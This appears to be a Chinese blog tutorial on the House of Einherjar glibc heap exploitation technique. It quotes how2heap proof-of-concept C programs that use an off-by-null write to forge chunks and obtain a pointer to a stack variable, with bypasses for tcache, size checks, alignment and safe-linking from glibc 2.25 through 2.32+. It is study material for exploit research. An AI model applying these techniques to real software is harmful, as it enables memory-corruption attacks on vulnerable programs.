很大胆的利用方式,有被吓到(*Φ皿Φ*)
原理
如果程序存在of by null漏洞且能泄露堆地址的话就能使用这个方法
利用
2.25以前
实验代码如下(来自how2heap):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h>
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL);
uint8_t* a; uint8_t* b; uint8_t* d;
a = (uint8_t*) malloc(0x38); int real_a_size = malloc_usable_size(a); size_t fake_chunk[6];
fake_chunk[0] = 0; fake_chunk[1] = 0; fake_chunk[2] = (size_t) fake_chunk; fake_chunk[3] = (size_t) fake_chunk; fake_chunk[4] = (size_t) fake_chunk; fake_chunk[5] = (size_t) fake_chunk;
b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
a[real_a_size] = 0;
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fake_chunk[1] = fake_size;
free(b); d = malloc(0x200); }
|
- malloc一个chunk(a)用于控制下一个申请的chunk(b)的presize和preinuse位
- 伪造fake chunk的fd、bk、fd_nextsize和bk_nextsize绕过unlink的检查
1 2 3 4 5 6 7 8 9 10 11 12
| FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
……
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \
|
- malloc一个unsorted bin范围的chunk(b),用于触发向下合并
- a[real_a_size] = 0利用of by null修改b的preinuse位,在free(b)的时候触发向下合并
- 计算从b到fake chunk的偏移,减去的0x10是b的size和presize
- 修改b的presize为fake_size
- 修改fake chunk的size为fake_size(不改也行,这个版本没检查)
- free(b)触发向下合并
- 再申请chunk的时候就会从合并的chunk里切割
2.26-2.28
- 有了tcache,申请的chunk要在tcache的范围外
- 2.26unlink增加了检查
1 2 3 4 5 6 7 8 9 10
| #define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ FD = P->fd; \ BK = P->bk; \
……
}
|
要伪造fake chunk的size
2.29-2.31
2.29增加了对top chunk的size的合法性检查,由于b在向下合并后还会向上合并,这就必然导致top chunk的size不合法
1 2 3 4 5 6 7
| use_top:
victim = av->top; size = chunksize (victim);
if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size");
|
可以通过在free(b)前再malloc随便一个chunk来防止和top chunk合并,但这样还是会触发另一个检查
2.29_int_malloc遍历unsorted bin的时候还增加了对chunk的size的合法性的检查
1 2 3
| if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)");
|
因此我们需要一种全新的利用方法,实验代码如下(来自how2heap):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <malloc.h> #include <assert.h>
int main() { setbuf(stdin, NULL); setbuf(stdout, NULL);
intptr_t stack_var[4]; intptr_t *a = malloc(0x38);
a[0] = 0; a[1] = 0x60; a[2] = (size_t) a; a[3] = (size_t) a;
uint8_t *b = (uint8_t *) malloc(0x28); int real_b_size = malloc_usable_size(b); uint8_t *c = (uint8_t *) malloc(0xf8); uint64_t* c_size_ptr = (uint64_t*)(c - 8);
b[real_b_size] = 0;
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size;
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { x[i] = malloc(0xf8); }
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { free(x[i]); }
free(c);
intptr_t *d = malloc(0x158); uint8_t *pad = malloc(0x28);
free(pad); free(b);
d[0x30 / 8] = (long) stack_var;
malloc(0x28); intptr_t *e = malloc(0x28);
assert(e == stack_var); }
|
- 先申请a(0x40)、b(0x30)和c(0x100)三个chunk,填满tcache,再将然后free(c)利用of by null漏洞形成堆块重叠,如示意图所示:
- malloc回c,然后再malloc一个0x28的chunk然后free绕过tcache的count检查
- free(b),b进入tcache,通过d改变b的fd指向stack_var,再申请两个chunk就能控制stack_var
2.32以上
实验代码多了这么一步:
1 2 3 4 5 6
| for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } }
|
因为2.32增加了chunk地址对齐0x10的检查
1 2
| if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected");
|
还改了这一步
1
| d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
|
因为2.32增加了safe-linking机制